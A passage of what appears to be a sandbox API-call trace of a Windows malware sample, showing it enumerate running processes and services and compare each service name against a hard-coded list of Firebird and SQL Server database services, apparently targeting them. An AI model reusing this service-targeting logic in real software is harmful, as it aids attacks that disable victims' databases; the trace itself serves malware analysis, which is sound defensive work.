hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.404] lstrlenW (lpString="svchost.exe") returned 11 [0209.404] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.405] lstrlenW (lpString="svchost.exe") returned 11 [0209.405] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.406] lstrlenW (lpString="svchost.exe") returned 11 [0209.406] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.407] lstrlenW (lpString="svchost.exe") returned 11 [0209.407] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.408] lstrlenW (lpString="svchost.exe") returned 11 [0209.408] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.409] lstrlenW (lpString="svchost.exe") returned 11 [0209.409] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.410] lstrlenW (lpString="svchost.exe") returned 11 [0209.410] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.411] lstrlenW (lpString="svchost.exe") returned 11 [0209.411] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.412] lstrlenW (lpString="svchost.exe") returned 11 [0209.412] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.413] lstrlenW (lpString="svchost.exe") returned 11 [0209.413] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.414] lstrlenW (lpString="spoolsv.exe") returned 11 [0209.414] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.415] lstrlenW (lpString="svchost.exe") returned 11 [0209.415] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.416] lstrlenW (lpString="audiodg.exe") returned 11 [0209.416] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0209.417] lstrlenW (lpString="sihost.exe") returned 10 [0209.417] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.418] lstrlenW (lpString="svchost.exe") returned 11 [0209.418] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0209.419] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0209.419] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0209.420] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0209.420] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0209.853] lstrlenW (lpString="Memory Compression") returned 18 [0209.853] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0209.854] lstrlenW (lpString="taskhostw.exe") returned 13 [0209.854] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0209.855] lstrlenW (lpString="msoia.exe") returned 9 [0209.855] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.856] lstrlenW (lpString="explorer.exe") returned 12 [0209.856] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0209.856] lstrlenW (lpString="SearchUI.exe") returned 12 [0209.857] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0209.857] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0209.857] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0209.858] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0209.858] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.859] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.859] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0209.860] lstrlenW (lpString="wmxsde.exe") returned 10 [0209.860] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.861] lstrlenW (lpString="svchost.exe") returned 11 [0209.861] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.861] lstrlenW (lpString="cmd.exe") returned 7 [0209.861] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.862] lstrlenW (lpString="conhost.exe") returned 11 [0209.862] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.863] lstrlenW (lpString="cmd.exe") returned 7 [0209.863] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.864] lstrlenW (lpString="conhost.exe") returned 11 [0209.864] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0209.865] CloseHandle (hObject=0x358) returned 1 [0209.865] Sleep (dwMilliseconds=0x1f4) [0210.776] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fe968 [0210.778] EnumServicesStatusExW (in: hSCManager=0x5fe968, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0210.779] GetLastError () returned 0xea [0210.779] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ca4) returned 0x623608 [0210.780] EnumServicesStatusExW (in: hSCManager=0x5fe968, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x623608, cbBufSize=0x1ca4, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x623608, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0210.781] CloseServiceHandle (hSCObject=0x5fe968) returned 1 [0210.781] lstrlenW (lpString="Appinfo") returned 7 [0210.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.782] lstrlenW (lpString="AppXSvc") returned 7 [0210.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0210.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0210.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0210.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0210.782] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.782] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.782] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.782] lstrlenW (lpString="Audiosrv") returned 8 [0210.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0210.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0210.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0210.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0210.782] lstrlenW (lpString="BFE") returned 3 [0210.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.782] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.782] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.782] lstrlenW (lpString="BITS") returned 4 [0210.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0210.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0210.782] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0210.782] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0210.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0210.782] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0210.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0210.783] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0210.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0210.783] lstrlenW (lpString="CDPSvc") returned 6 [0210.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0210.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0210.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0210.783] lstrlenW (lpString="ClickToRunSvc") returned 13 [0210.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0210.783] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0210.783] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0210.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0210.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0210.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0210.783] lstrlenW (lpString="CryptSvc") returned 8 [0210.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.783] lstrlenW (lpString="DcomLaunch") returned 10 [0210.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.784] lstrlenW (lpString="DeviceAssociationService") returned 24 [0210.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0210.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0210.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0210.784] lstrlenW (lpString="Dhcp") returned 4 [0210.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.784] lstrlenW (lpString="Dnscache") returned 8 [0210.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.784] lstrlenW (lpString="DPS") returned 3 [0210.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.784] lstrlenW (lpString="DusmSvc") returned 7 [0210.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0210.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0210.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0210.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0210.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0210.785] lstrlenW (lpString="EventLog") returned 8 [0210.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0210.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0210.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0210.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0210.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0210.785] lstrlenW (lpString="EventSystem") returned 11 [0210.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.785] lstrlenW (lpString="FontCache") returned 9 [0210.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.785] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.785] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.785] lstrlenW (lpString="gpsvc") returned 5 [0210.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.785] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.786] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.786] lstrlenW (lpString="iphlpsvc") returned 8 [0210.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.786] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.786] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.786] lstrlenW (lpString="KeyIso") returned 6 [0210.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0210.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0210.786] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0210.786] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0210.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0210.786] lstrlenW (lpString="LanmanServer") returned 12 [0210.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.787] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.787] lstrlenW (lpString="lfsvc") returned 5 [0210.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0210.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0210.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0210.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0210.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0210.787] lstrlenW (lpString="lmhosts") returned 7 [0210.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.787] lstrlenW (lpString="LSM") returned 3 [0210.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0210.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0210.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0210.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0210.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0210.788] lstrlenW (lpString="MpsSvc") returned 6 [0210.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 